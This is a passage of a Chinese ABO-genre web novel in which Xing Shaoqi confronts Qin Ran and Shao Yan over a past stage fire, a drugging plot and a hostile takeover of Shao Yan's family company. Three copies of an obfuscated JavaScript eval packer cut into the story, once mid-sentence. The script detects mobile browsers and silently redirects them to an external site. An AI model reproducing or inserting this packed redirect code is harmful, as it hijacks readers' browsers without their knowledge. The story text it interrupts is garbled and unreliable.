或许是因为刑少奇刚治好腺体不久,还不能控制信息素吧。 同为omega的秦然有些同情。他看到刑少奇的环一直在冒蓝光。秦然的印象中,环的指示灯闪烁通常意味着信息素出了问题,不过他当年戴的环一般只会冒红光,可能是改了吧。 秦然好心地提醒刑少奇,“你的环在闪,找时间可以检查下腺体。” 刑少奇闻言摸了摸那环,皱了下眉。 他直起身,整理衣领,把环重新藏好。 “现在确实有需要你做的事了。”刑少奇道,把自己的手机给秦然看。 秦然看到的是导航界面,目的地是一串陌生的地址,距离这里不远,他有些疑惑地看了眼刑少奇。 刑少奇道:“我不能送你了。我已经叫人来接你,之后你就住上面的地方,平日里出门要带私保,注意安全。” “……什么?”秦然摸不着头脑。 他后知后觉地环顾四周,这才发现,难怪刚才觉得停车场灯很亮——这压根不是他的目的地车场! 刑少奇解释:“……我快出范围了。” 他指了指自己的omega环,“上面有定位,冒蓝光是濒临外出范围边界的意思。” 上面有定位。 秦然脸色一白。有定位作用的omega环,他只在精神病患者和罪犯身上见过。 前者是因为不能自控,需要控制外出范围防止意外;后者却是因为需要约束其行为举止,要把定位实时传给他的监护人。 而刑少奇精神很正常。 秦然揉了揉太阳穴:“……你到底是去干什么了。” 他顿了顿,看向刑少奇的目光里多了一丝别样的情绪。 “换住址,还要保镖……你真的在逃命啊?”秦然望着刑少奇,“真的有人要杀你?” “嗯。”刑少奇痛快地承认了。 秦然一瞬间有些头疼,他感觉自己好像无意中上了贼船,而这个贼不仅是个亡命之徒,还只用一句荣华富贵就把他钓上来了。 秦然脸色发白:“……我不会有命挣钱没命花吧。” 他颤抖着手想要开车窗透透气,毕竟身边坐着个逃命的罪犯,这种冲击对于秦然还是有些大了。 刑少奇认真想了想:“有可能。” 同时把秦然刚按下去的车窗又合上去,面对秦然疑惑的眼神,解释道,“这是防弹玻璃,开了就没作用了。” 秦然:“……”突然感觉小命不保。 他无力地靠在椅背,望着刑少奇的脸。 多年不见,刑少奇和他记忆中差距不算太多。 想到刑少奇的一通电话,自己便签入奇桓,秦然眼眸微动。 “刑少奇。”秦然突然说,“你知道吗,其实邵阎初见你的那天,我也在。” 刑少奇偏头过来。那双眼睛再一次注视上自己,却没有秦然熟悉的痛恨、鄙夷和敌意。 秦然:“我在练习室门口看你的时候,他刚好来找我。” 车里忽地陷入一片寂静,刑少奇对上秦然的眼睛。 秦然一副自知失言的模样,沉默片刻,岔开了话题,“……没想到他对你一见钟情,孽缘啊。” 刑少奇却不接他的话茬,“你看我练习干什么?你真的喜欢我?” 这明明是秦然期待的回答。但他的心还是在听到‘喜欢’二字时猛地一跳。 他正要酝酿情绪,可刑少奇又道:“但哪怕你喜欢,也不会为了我放弃什么,不是吗。” 仿佛一道惊雷落下,秦然脸上的惆怅骤然凝结。 “你说喜欢我,但也没拒绝我的位置。没有因为喜欢我,就愿意遭受非议。” 刑少奇的声音很平静:“你其实是想要这个位置的,甚至比起对我的喜欢,你更想要出道,想要借着邵阎往上爬。你只是不愿意承认而已。” “秦然,”刑少奇那双眼睛注视着他,“承认自己的欲望,对于你,是件很不堪的事情吗?” 秦然浑身一僵。“……不是的,我当时,没想要抢你的……” 刑少奇道:“你总是这样。” “你总是想做个一尘不染的人,哪怕手已经脏透了。” 他说,“你说自己没想抢位置,可还是代替我出道;说自己拒绝不了邵阎,却从不阻止他的朋友误会你们的关系;就连你说的那诱导情期的药……” “应该是你自己带的吧。” 刑少奇望着秦然,“你不用来讨好我,我不在乎你以前做过什么,说了不会计较,你也就不用想办法遮掩。” “比起你在这里编故事演戏,不如直接告诉我当时是什么情况,我会更欣赏你的狠心。” 秦然僵在了座椅上。 他有种被揭穿了一切的感觉。柔软温柔的表皮被刑少奇撕开,露出的是秦然那肮脏、充满筹谋、混杂着无尽欲望的……血淋淋的真心。 对刑少奇有过朦胧的好感吗?或许有一点吧,所以才会反复看他的练习室视频。但比起那丝好感,他更想要那个位置,想要触手可及的名誉金钱。 拒绝不了邵阎吗?也不尽然吧,每次被起哄时总是沉默,对于别人询问关系,也总是暧昧的回答。 想要刑少奇不再出现吗?想过的。 如果刑少奇不在了,那他出格的心动也会变成幻影一抹,再没有可以证明他是个异类的东西。与此同时,和邵阎的婚约会更顺利,未来的道路一定更加平坦。 但是—— “……是我带的,”秦然闭上了眼睛,将那些谎言抹去。 “你说得对,我挑唆过邵阎朋友和你的关系,也确实对你有敌意。”秦然道,他一贯温柔的声音变冷了些,但听起来似乎更像是他正常的声音,“但我确实没抢过你的位置。” “我下午说的话,大多是真的,那天在舞台上和你说的事情,基本也是真的。” “只是我不可能在公众面前说,我是谋害你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788630|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 共犯。” “那位确实给过我药,但我没用——我怕你真的死了。” 秦然正色道,“我哪怕再不喜欢,也不可能看着一个认识的人死在自己手里。所以我换了药,使邵阎在最后关头清醒过来,冲进火场……他想去救你。” 刑少奇一愣。 “他的嗓子就是这么坏的,你肯定不知道。”秦然望见了那一瞬的愣神。 “我唯一瞒着邵阎的,就是药的事。你要是不回来,我会瞒一辈子。”秦然道,“所以这次综艺,我可是下了血本,把这事公开了。” “但说到底,你还是受了伤,还是……没逃过去。这些年,邵阎以为我只是挑唆了他的朋友,所以敲打了我们一通后,也没有做什么。” “我和他的关系,早就四分五裂了。这么多年,他也没有找过别的omega,一直在等你。” “我不是想为他求情,但总之他没有那么糟糕。” * 来接秦然的车终于到了,下车之前,秦然的目光落到驾驶座的刑少奇身上。 他忽然说,“刑少奇,除了药,其余关于你的事情,我都没撒谎。” 碰一声,他把车门合上。 跨上另一辆车的后排,秦然的目光无意中扫过后视镜,随着车辆启动,他看到刑少奇跨出车门。 距离拉远,刑少奇也越来越远。 明亮的顶灯照着他,明晃晃的白光比那天的月色刺眼。 秦然闭上眼睛,想起那个月上枝头,万籁俱寂的夜晚。 他站在练习室外,被来找自己的邵阎吓了一跳。慌乱地解释自己只是练习得太晚,难得看到有人还在…… 却发现邵阎望着里面的刑少奇久久没有回话。 他本要说什么的,但那一刻,似乎有某种不甘如洪流在他的身体奔泻,他好像身体里突然住进了一只野兽,咆哮着,激吼着。 他不想要邵阎看。 恶意在心头翻涌的时候,omega惊觉自己的情绪太过于反常。 他以为自己是吃刑少奇的醋,觉得邵阎这个板上钉钉的婚约对象居然喜欢别人,导致他的恶意滋生。 直到下午,刑少奇抓住他的手腕,秦然感觉自己的身体猛地抖了一下。 心跳声不断加速,于是这时他才恍然大悟——原来他不是讨厌刑少奇。 而是讨厌自己。 他是个异类,是个不正常的omega,他的心在那个夜晚对着一个beta游弋。 他唾弃这样的自己。 刑少奇不会知道,秦然真的看过他练习室表演的视频。 看过他的练习室表演,在无数个深夜望过他的背影。 他以为自己很讨厌刑少奇的。 直到发现那不正常的心跳,那份憎恶……突然就不知道真假了。 只是那些往事,早已经随风而去,真真假假,虚虚实实,谁能分的清呢。 就当是他演的吧。 15.真心难料 刑少奇站在车外。地下停车场的灯很亮,几乎有点晃眼。他捞出手机在屏幕上滑来滑去,找到那天联系的人。 对于这场多年前的事故,刑少奇最开始只以为是意外。所以没有起过调查的心思。那天在体育场,秦然突然揭开真相,他回去的路上便差人去查。 时至今天,对面已经提供了数份材料、照片、事故现场的分析报告,还有对那位高层的调查……信息与刑少奇听到的那些大差不差。 就在下午节目录制时,对面又加了一份视频,刑少奇还没来得及看。 他拿了根烟出来。坐回车内,开始观看视频。 视频内容是火灾的当时录像。因为是表演舞台,所以在场有许多摄像机器。不过这份发过来的视频很模糊,刑少奇看了眼解释——这份视频先被破坏删除过,后来经技术手段修复,却也无法恢复正常,只能勉强保证正常播放。 视频是许多个视角整合在一起的,刑少奇略过了没意义的表演镜头,在火焰蔓延、世界变成一片浓烟与赤色时,他看到原本有人冲进了火场。 那人穿着很普通,放在人群里几乎没有任何特点。然而他很高,身形高大体态挺拔,跨步进入火场后,整个人便被冲天的火焰掩埋。 刑少奇皱了下眉:邵阎的表演服比这个夸张很多,而且两人身形不同,这不是邵阎。 但是这个人为什么会冲进火场? 视频一帧帧播放,突然,镜头猛地摇晃起来,伴随着嘈杂的“邵阎!你不能去!!”等等阻止的声音,这台相机被撞倒了,画面被切换到另一个视角。 于是刑少奇看到,那个人背对着镜头,身上的衣服被火焰撩到,他的怀里…… 是当时已经昏迷的刑少奇。 画面并没有拍到两人离开的镜头,但这一帧被刑少奇反复拖动进度条观看——他试图辨认这个救了自己的人的外貌特征。但过于模糊的视频并不能让他从马赛克里辨认出形状。 刑少奇把这一帧截图,思索良久,他的印象里倒是有一个身形很高大的人……但发生火灾的时候,那人应该与他毫无关系。 他沉思片刻,选择继续播放视频,最后,他看到邵阎还是冲进了火场。 无数人试图拉住邵阎,可邵阎的身影还是和大火融为一体。刑少奇听到视频里传出来邵阎的声音,从一开始清澈的嗓音,逐渐变得沙哑,逼近嘶吼…… 邵阎进场的时候,烟尘已经扩散到难以抑制的地步,刑少奇终于意识到,他的嗓子或许也是因为这件事才到今天的样子。 只是被自己指出的时候,他回以沉默,配合刑少奇的记忆努力接近当年的声线。 视频结束了。刑少奇将头倚在方向盘上,只觉得莫名的倦意从心头涌来。 他觉得自己永远无法理解邵阎这个人。他没办法感受到邵阎口是心非的真心,不能理解为什么会有人打着爱的旗号大行伤害的事。 好像和邵阎在一起的每一秒,刑少奇都要尝试从邵阎那令人莫测的行为中猜测他意图何为。 刑少奇无数次想,要他绞尽脑汁,从邵阎平日的蛛丝马迹里才能找到的喜欢,真的是喜欢吗。 它究竟是过于隐蔽,还是刑少奇自欺欺人,自我欺骗。 刑少奇不明白。 如果真的喜欢,为什么要用金钱羞辱自己? 如果没有感情,为什么宁愿扑进大火,损伤了嗓子也要呼唤自己的名字? 刑少奇无法理解。 他当然也喜欢过邵阎,但是他的喜欢不会磨灭邵阎的尊严,不会让邵阎赔上前程,不会让邵阎遭受莫名的流言蜚语。 那为什么邵阎的喜欢要让他承受这些?这不公平。 邵阎的那颗心,和刑少奇理解的真心偏差太大。他不懂,邵阎也不会主动说,最终的结局只能是陌路。 脖颈上的环忽然开始轻微震动,刑少奇从思绪中抽身,垂眸,发现指示灯变成了红光。 这次不是间歇性闪烁。而是一直亮起,像是一种无声的警告。 这表明他的信息素极其不稳定,需要控制。 于是刑少奇将手中备好的烟拿起。 拆掉外面的卷烟纸,烟草却没有填充满纸内的空隙,一支极细的针剂躺在棕褐色的烟草里,他取出来,将脖颈的环取下,对着腺体扎入里面的药剂。 几分钟后,刑少奇重新戴上环,此时红灯平息,又变回了告诫即将超出行动范围的蓝色。 他撑起身体,发觉已近午夜。孟怀义的消息在他注射针剂的时候到来。只是这次没有消息轰炸,而是发了一张截图,上面显示刑少奇的环连续警报了几次。 他问:“在外面发生了什么事吗?需不需要帮你?” 刑少奇打了几个字:“不用,我马上回去。” 正要发送的时候,他忽然想到秦然刚才的那句“我都没撒谎。” 如果这么说,那秦然说的“喜欢”,或许是真的。 秦然的好感并没有给刑少奇带来困扰。一路走来,向他展现过好感的人数不胜数,人数多得能凑两桌麻将不说,这还只是和他有过交往关系的。 更别提暗恋、追求者还有一筐。 只是那时刑少奇还是beta,所以对于alpha或omega的求爱都觉得可以理解。现如今变成了omega……想了一下,便觉得也不是很奇怪。 同a恋都能号称“追寻自由,爱你无关性别”,那oo恋也同理。 只是想到这里,孟怀义那些打着关心和朋友旗号的短信便显得有几分暧昧,刑少奇越看越有种奇怪的感觉——像是被伴侣查岗,需要他实时报备。 ……是这样吗? 脖颈上的环一直闪着光,幽幽的浅蓝色在衣领下面被藏得很好。刑少奇垂眸,难得加了点细节。 回: 【不用,送完秦然我就马上回去。】 刑少奇发完才觉得有点歧义:他是在等秦然安全到达,确认这个证人没有在途中发生意外。不过这条消息更像是在说他正在送秦然。 孟怀义很礼貌:【好,你现在方便接电话吗?】 刑少奇扫到自己隔壁的车位正好有人在停车:【不太方便。】 孟怀义回的很快,但回复的内容让刑少奇感觉他肯定是误会了什么: 【我记得你说他可以利用。那我们通话,应该不用避着他吧?】 刑少奇想了下:【不是这个原因。不过秦然最好是不知道我们有联系。】和秦然的关系,到邵氏倒台的那一步估计就断了,刑少奇觉得让他知道太多没有必要。 但他顿了顿,还是留了点余地,【起码现在是这样。】 这条消息发出后,孟怀义没再秒回。好半天,刑少奇才看到对面浮现了一句“正在输入中…” 又很快变成孟怀义的名字,来回往复,重复了数次,看得刑少奇挑眉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14815627|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>直到刑少奇接到秦然已经到达的消息,打开车门,准备离开时,孟怀义的回复才姗姗来迟:【那我等你。】 刑少奇想,等我什么? 刚准备问,那边已经说出了答案:【等你方便时回电。】 又带了一个微笑的表情。 刑少奇踩下油门,车辆迅速驶出停车场,他戴上一只耳机,拨通了与孟怀义的通话。 电话嘟了一声,被接起来,两个人同时等着对方开口,刑少奇握着方向盘,看着远处的灯光。 “刚才在停车场不方便,现在可以和你说话了,不用等。” 他问,“你想说什么?” 电话那头是孟怀义的呼吸声,很半天,刑少奇才听到他开口:“你不用送他了吗?” 刑少奇解释:“我让别人来接了。” 孟怀义“嗯”了一声,像是心情不错。 两人的谈话没什么重点,大多还是围绕节目。 刑少奇这才知道,下午的直播在网络上引发了不小的舆论。虽然并不是所有人都支持刑少奇,但随着网友们把当年的视频、采访、小道消息不断整合、添油加醋…… 整件事忽然变成了集合“黑幕、谋杀”的娱乐圈黑暗小故事。 而令刑少奇惊讶的,是网友那堪比扫描仪的能力——他们居然真的扒到了刑少奇还未出道时,那青涩的表演视频,并从此扒到更多足以佐证的内容。 那些本该不为人知的细节如同雨水,一滴滴落在滂沱的互联网海面,令这片本就波诡云谲的浪潮不断起伏,似乎马上要酝酿起海啸。 目前为止,刑少奇还是个受害人的形象。公众舆论正向他倒戈,孟怀义开口说:“目前风向没问题,如果被压下去的话……我会看情况帮忙。” 刑少奇说好。 于是对面又道:“对了,烟还够吗?需不需要送新的给你?” 刑少奇握着方向盘的手指忽然紧了紧,只听对面的孟怀义用温柔的声音继续道:“你不用忍着。足量的信息素才能让你的腺体快速恢复,你老是到警报响起才注射,这样对你的身体不好。” 孟怀义声音轻柔:“别担心,alpha的身体素质很强,只是过量抽取信息素而已,不会弄死他的。” 等到刑少奇回到酒店,热搜已经被各种爆料压下。舆论声浪被暴力压制,那点还未汇聚起来的浪潮已经平息了。 端着电脑坐在桌前的刑少奇点开了唯一一条存活的低位热搜—— 【邵氏,卖了?!】 这篇内容主要是分析了一波邵氏的现状,于半年前,邵氏已经卖出了自己49%的股权,剩下51%,邵阎持2%,剩余则由邵阎掌权的邵氏子公司持有。 文章洋洋洒洒,最后总结:“只要邵阎不松手,那奇桓想收购也白搭。” 刑少奇看完,思索片刻,把目前手上的资料和视频一并打包发出。 不久后,他收到回应。 对方说,邵阎提出想要购买这份视频。 刑少奇回复。 【以这个为筹码,让邵阎再考虑下股权的事情。】 邵氏被收购已经来到了关键点,正如那篇文章所说,奇桓已经拿下了49%的股份,剩下51%都在邵阎手中。 诚然那份录像在刑少奇的心里拨弄起几分涟漪,但感情的事情,刑少奇向来与物质分的很开。 等邵阎破产以后,再去聊聊他的嗓子吧。 16.自我感动 邵阎要走这些资料的目的是什么呢?刑少奇不太在乎。 无论是为了销毁证据,还是为了将视频作为补偿帮助自己,刑少奇都无所谓,他只关心邵阎是否会因为这些材料松口,以更低的价格售出股权。 刑少奇起身,走上露台。午夜的风凌冽如刀,吹得脸颊发疼,刑少奇想起几天前他还在这里回忆当年,翻阅记忆找寻当年那个被人随意践踏欺凌的自己。 现如今他在露台,拨了通电话,却是平静地:“邵阎同意压价的话,就尽快完成收购。” 远处,夜晚的城市灯火通明,刑少奇的目光落上去。想起那时在车上听到秦然说的话,一股莫名的情绪涌上心头。 说完全不在乎,那肯定是假的。听到一个人愿意为你奔赴火场,为了救你不顾安危,那肯定还是会有所动容。 但这份真相来的太迟了。 十年时光匆匆而过。这十年里,刑少奇唯一一次和邵阎扯上关系,是双方为了钱对簿公堂。 刑少奇提出诉讼,要将过往两人创作的每一首歌判定版权。 把写有组合名的,那些分属不清的曲子分割,每一首曾经凝结着两人心血的曲目化作白纸黑字的利益分割,最后变成刑少奇每年可以分成得到的一笔笔汇款。 那些曾经欺凌刑少奇的人——秦然的组合出道不到两年的时间便解散,邵阎的那些朋友,包括那位助理在内,已经被邵阎敲打报复了一通。 刑少奇于物质上失去的东西,几乎都由他亲手讨回,每一分每一厘加倍讨要。 而至于情感……刑少奇看完了视频,只觉得麻烦。 他讨厌这样复杂纠葛、剪不断理还乱的东西。 事实上,他根本不想要邵阎的后悔,也不想要邵阎的愧疚。 后悔是什么?是下跪、流泪、自残、还是受伤进ICU里抢救? 这样的后悔够精彩,够惹眼,够让人感慨一句“他真是爱惨了”吗?可是这样的事迹对于刑少奇有什么用呢? 那种表演性质的东西,刑少奇作为演员,自己就有数百种演绎后悔的方法。他清楚,情绪性的东西,往往有扮演成分—— 倘若一个人因为‘愧疚’就性情大变,要么是别有所图,以‘后悔’的名义索求更大的利益;要么是他本就清楚那些伤害不对,只是那时可以肆无忌惮,等到一切难以挽回,才想到以‘愧疚’的借口挽回。 越是夸张、越是夺人眼球的后悔,在刑少奇眼中越是虚伪。 刑少奇懒得去分辨,那些打着后悔的名义流出的眼泪里,有几分真心,有几分是算计,又有几分是别有所图。 感情这种东西,不是一码还一码、一报还一报,刑少奇永远不可能挖出别人的心来看是否是真情还是假意,所以面对情感纠葛,只觉得麻烦。 电话那头的声音忽大忽小,几经转手,不同的声线从话筒里出来。刑少奇耐心等着,听到那边说,邵阎在考虑。 “如果邵阎不愿意,那就按原计划,逼他不得不卖。” 刑少奇倚在露台的围栏上,俯瞰城市的夜景,他脖颈上的环没有出现任何警报。 这说明他的情绪平静而毫无波澜。 ——所以说,火灾这件事的真相,来的太迟了。 倘若再早一点,例如刑少奇刚从医院醒来的时候就知晓。或许他会因为感动而对邵阎之前的错事既往不咎,或许他会在每一次听到邵阎沙哑的嗓音时想到那次大火,想到邵阎英勇的表现,又一次被感恩裹挟,自我催眠助长名为喜欢的枝桠。 可偏偏,现在已经是十年之后。 在这十年里,刑少奇也见过真心,见过后悔,见过复杂斑驳的感情。 最重要的是,刑少奇再也不是当年那个任人宰割的练习生,他有除了‘原谅’之外的解决方法。 那就是报复。 只要他身处高位,拥有足够的金钱、地位。那么加害者的愧疚里是否含有真情,后悔里是否存有假意,都不影响刑少奇欣赏他们点头哈腰,卑躬屈膝的模样。 刑少奇不需要原谅,他只需要报复。让那些伤害过自己的人付出足够的代价,得到补偿的同时,那些人自然也会痛哭流涕。 到时候,眼泪里有多少是因为伤害了刑少奇而产生的后悔,刑少奇也不用去想——他只知道,反正这些人此时的痛苦,全部都是因为自己的报复。 那些眼泪,尽数因他而流。 不管他们是否心甘情愿,都必须蒙受这份代价。这可比飘忽不定、于事无补的愧意来的爽快。 所以,邵阎是否会因为所谓的愧疚、后悔,同意压价售出自己的股权,以成全或是补偿刑少奇。 其实刑少奇并不在乎。 因为无论邵阎是否甘愿,是否真心,都不能阻挡刑少奇要把他精心经营的公司收入囊中的决心。 说白了,以刑少奇目前的地位,他已经不必在乎邵阎那点真心。 再和邵阎见面,是节目里邵阎作为嘉宾的最后一次直播。 上一期节目发出后,当年的舞台事故被重新立项调查。然而,很快便有公告称,由于时间久远,证据缺失,调查中断。 事情本该就此沉寂。但是,秦然表白的片段被omega保护协会转发,一时间热度飙升,其协会会长孟怀义表示,协会将持续关注本次事件。 与此同时,由于当初的事故被指是邵氏高层所为,紧接着还牵连出不少实名举报,揭开了邵家这些年的许多事端。 这两天,邵氏风波不断,一波未平一波又起。 股价浮动,不少股东撤资,邵氏为了自保,卖了一部分股权,唯独邵阎手里的股份还未表露出抛售意向。 这样兵荒马乱的时期,邵阎还是来参加了节目。他看起来有些憔悴,不过面对刑少奇,倒也没说什么。 上期节目几乎掀起了群众对邵氏的攻击热潮,无数人等着看邵阎笑话,一时间直播间弹幕涌入不少过激言论。两个当事人虽不能实时观看,但也能猜到一二。 今天的行程还是故地重游,但邵阎开着车带刑少奇去的,却是个刑少奇完全陌生的地方。 那是一处私人庄园,四周门紧锁着。邵阎没有带着刑少奇进门,只是把车停在一扇侧门前。 下车时,刑少奇看到邵阎抬头,于是跟随着视线,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14819114|155233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到建筑二层的一扇窗正对着他们。 似乎是用了防窥玻璃,从外面看过去,并不能看到室内的具体情况。 邵阎的目光随后落下来,看向刑少奇。 他解释道,“我母亲住在这里。” 这是他第一次与刑少奇提及自己的家人,用一种平淡而简单的描述。 “我答应过她,如果想和谁在一起,要带人过来让她看看。” “……”刑少奇望向他,“你母亲没教过你,在一起是要对方也同意的?” 邵阎难得没回嘴,只是转头看向刑少奇,那眼神里带着刑少奇看不懂的情绪,他张开口,“秦然那天说的……”又忽地沉默下去。 他倚着车门,又看向窗户,只觉得有什么堵在喉咙。 秦然说的那些,你是怎么想的?邵阎想问这个。 但他又不是很想开口,这样显得他很在意这个答案。 说到底,他做的那些事情,并不是为了让刑少奇回报什么。 他习惯口不对心,做的比说的多。 刑少奇相不相信,明不明白,都无所谓了。不过是陈年旧事。 然而刑少奇并没有给他自怜的时间。 刑少奇开口:“秦然说的那些东西,我听着没什么感觉。” 邵阎浑身僵直,顿了顿,面色有些复杂。 刑少奇继续道:“因为无论你做出的那些事,还是你默默的保护,我都没有感受到。” “待在你身边,我能够感受到的,只有你给我的冷暴力,只有你朋友的嘲讽,只有日复一日、让我觉得羞耻的愧疚感,欠债感。 “秦然说的那些事,包括你背后付出的,之所以要保密,之所以要对我隐瞒……我觉得,与其说是因为你嘴硬、是因为你想要把一切做好了再告诉我。 “不如说是,你从头到尾,都没有给过我拒绝的权利。你觉得是我不能拒绝…或是我不配拒绝,所以自顾自的做一些所谓的、自以为对我好的事情。” “至于事情成功与否,对我真的是否有帮助,我又是否想要,都不是你会考虑的。那既然我没有选择的权力,你又为什么说是‘为我做’?” 刑少奇望着邵阎。 “你是不是觉得自己很伟大,很深情?在不为人知的角落付出了很多很多……但我只觉得你很傲慢。” “你觉得这么做,对我才是最好的。可是…… “你做的事情,一件都没有落到我的身上,一件也没有让我变得更好。 “邵阎。”刑少奇叫他,两人目光交接,刑少奇继续道,“你看着我。” “你觉得我现在,比你预想中那个接受你好意的我,要活得更糟糕吗?” 邵阎沉默良久,他不得不承认。他安排想象的道路里,刑少奇不可能成为影帝,不可能手握权势,他只会成为邵阎的伴侣,或许在今天,还要被已经时日无多的邵家牵连。 他自以为是的那些付出,反而阻碍了刑少奇变成今日的自己。 “说到底,只是你过于傲慢,觉得自己给出来的,永远是最好的。” 刑少奇道,“不要再自我感动了,邵阎。” 17.离别赠礼 邵阎往后退了一步,有风拂过,吹得两人的外套猎猎作响。 他感到那一缕微妙的恼怒忽地被什么浇熄,另一种情绪滔天海啸一般向他涌来。 一直以来,那份自欺欺人的暗处奉献,突然被揭开了遮蔽的面纱,露出里面的全貌—— 真的是担心刑少奇被伤害,所以才利用秦然吗? 邵阎想起多年前,看见过刑少奇在秦然的生日聚会被人泼酒捉弄。 当浅金色的香槟顺着刑少奇的发尾滴滴答答地滑落,刑少奇身上满是酒渍时,他第一反应却是——看了身边的秦然一眼。 秦然拉住了他的衣袖,语气很温柔:“不会闹出什么事的,如果不这么做,不是前功尽弃了吗?” 那时候,邵阎就真的停下了脚步。直到刑少奇拉住那人的领口,拳脚相加,两人的冲突撞碎了一座香槟塔,事态走向极端时,邵阎才选择去阻止。 那时候他在想什么? 这些年来,知道当初内情的人会主动为邵阎开口辩解,说他那时迫不得已,说他那时为了大局考虑,说他是被秦然蛊惑…… 但只有邵阎知道,被秦然阻拦的那一秒,他只是在想。 ——刑少奇应该会忍的。 那些借口、理由的背后,只是遵从一个简单的逻辑:邵阎觉得刑少奇应该忍耐。为了他。 毕竟他能考虑和刑少奇结婚,已经是给这个beta天大的机会。刑少奇会因此身居高位,那在这个过程中,委屈一点、辛苦一点,又能怎么样呢? 他都已经为了刑少奇,愿意放弃秦然这个优质的omega。 那刑少奇承受一点伤害,委屈一下,又算得了什么。 等到事情结束,他会和刑少奇解释清楚—— 那时候,刑少奇便摇身一变,成了他邵阎的伴侣。所有苦难、委屈,都不过是通向这条康庄大道上的小小阻碍。 为了成为他邵阎的伴侣,让刑少奇吃点苦,也是很正常的。 只是现如今,刑少奇站在他面前,邵阎一直以来的观念好似被一柄巨锤砸得粉碎,他忽然意识到自己的想法有个最致命、最无解的问题—— 凭什么刑少奇要把和他结婚,当作是一种奖励? 刑少奇是为了和他结婚才要受委屈的吗?承受的那些痛苦,最终只配得到‘邵阎的伴侣’这个称号吗? 邵阎突然承受不住这样的想法,他看着刑少奇,不得不承认—— 对于刑少奇来说,自己给予的婚姻不是奖励,不是恩赐,反而是阻挡前行的绊脚石。 刑少奇本就不需要邵阎给予的东西,又凭什么要被迫承受代价? 刑少奇说的对。 邵阎自以为是、傲慢无礼,将自己的婚姻当作恩赐与奖励,所以自顾自地要求刑少奇要为此付出、为此痛苦。 邵阎觉得那些磋磨和委屈,是刑少奇为了拿到‘婚姻’这份奖励必须蒙受的代价。 他从没想过,如果刑少奇不想要这份奖励呢? 这些年,邵阎也曾回想当年的事情,自认为当初自己做了许多,只是都在刑少奇没能看到的地方。于是把刑少奇在节目里的那些讽刺,都当作是不知真相才导致的误会。 他心里还觉得自己委屈,觉得愤怒,觉得自己付出良多,最终却没有得到刑少奇的感激。 现在所有真相被迫揭开,邵阎发现自己引以为豪的付出、自以为是的奖励,对刑少奇毫无帮助,只是累赘。 邵阎在一瞬间,居然有些恶意地想。 如果刑少奇没有得到今日的地位,如果他和当初一样,需要自己拯救。 那邵阎的婚姻于刑少奇,就真的是一份恩赐、一份奖励,一份可以带他走出泥潭迎接新生的宝物。 于是邵阎就可以心安理得地告诉刑少奇自己的委屈、自己的付出,并获得刑少奇的感激。 ——可刑少奇没有那么窝囊。 他已经不再需要别人伸出援手,不需要旁人的后悔退让才能争取到应有的权力。 邵阎那份婚姻对于他,毫无用处、甚至反而会深受其害。 邵阎闭了闭眼,终于明白心间的情绪名为什么——是一种挫败感。 他自诩上位者,现如今却发现自己的付出于对方毫无作用。他似乎从施舍者的高度蓦地堕落,变成了和刑少奇同等的地位。 倘若两人平起平坐,那他又有什么资格设下阻碍,评判刑少奇的行为是否符合标准,他的婚姻又怎么配称作奖励? 邵阎深吸了一口气,他忽然明白。 刑少奇在这些年,已经靠着自己爬上了与自己齐平的位置。他不再需要拯救,也不再需要施舍。所以他才有能力质疑邵阎当年的所作所为,所以他才能随意指责而不用担心代价。 倚靠在车上,邵阎的声音变得沙哑,一直以来的优越感被彻底击碎,他甚至找不出为自己开脱的借口。 邵阎道,“……但我那时候,是真的考虑过和你的未来。” 即使自私、傲慢,却也真的没想过和刑少奇分开。是因为把刑少奇纳入了未来,所以才会想尽办法争取和他结婚。 这份感情总是邵阎自持上位,自诩优越,可是最开始面对竹马的秦然,面对一个家族满意的高级omega,他还是选择拉住刑少奇的手。 放在以前,邵阎绝不会说出这样的话。但此刻他的地位已经陷落,他无法以高高在上的姿态俯视刑少奇。 嘴硬、口是心非,这样需要对方理解、关怀、照顾的特质,都是感情中的高位者才配做的。 邵阎已经不配了。 这些天的劳碌奔波、兵荒马乱已经让邵阎焦头烂额,刑少奇的话又击碎了他的最后一丝借口。邵阎甫一脱口而出,已经觉得不妥。 可是他看向刑少奇的脸,却期盼着刑少奇的一句叹息。 起码他们是真心过的。起码那份真情是做不得假的。 但他看到的只有刑少奇倦怠的眼神。 刑少奇望向远处那扇被邵阎特地看过的窗户,语气平静,“邵阎。” “我想问你,你和秦然口中,为了保护我才创造的计划……为什么不愿意告诉我原因?” 他转头看向邵阎,“是你觉得告诉了我这些事情,我不会接受。还是害怕我会打乱你的计划?” 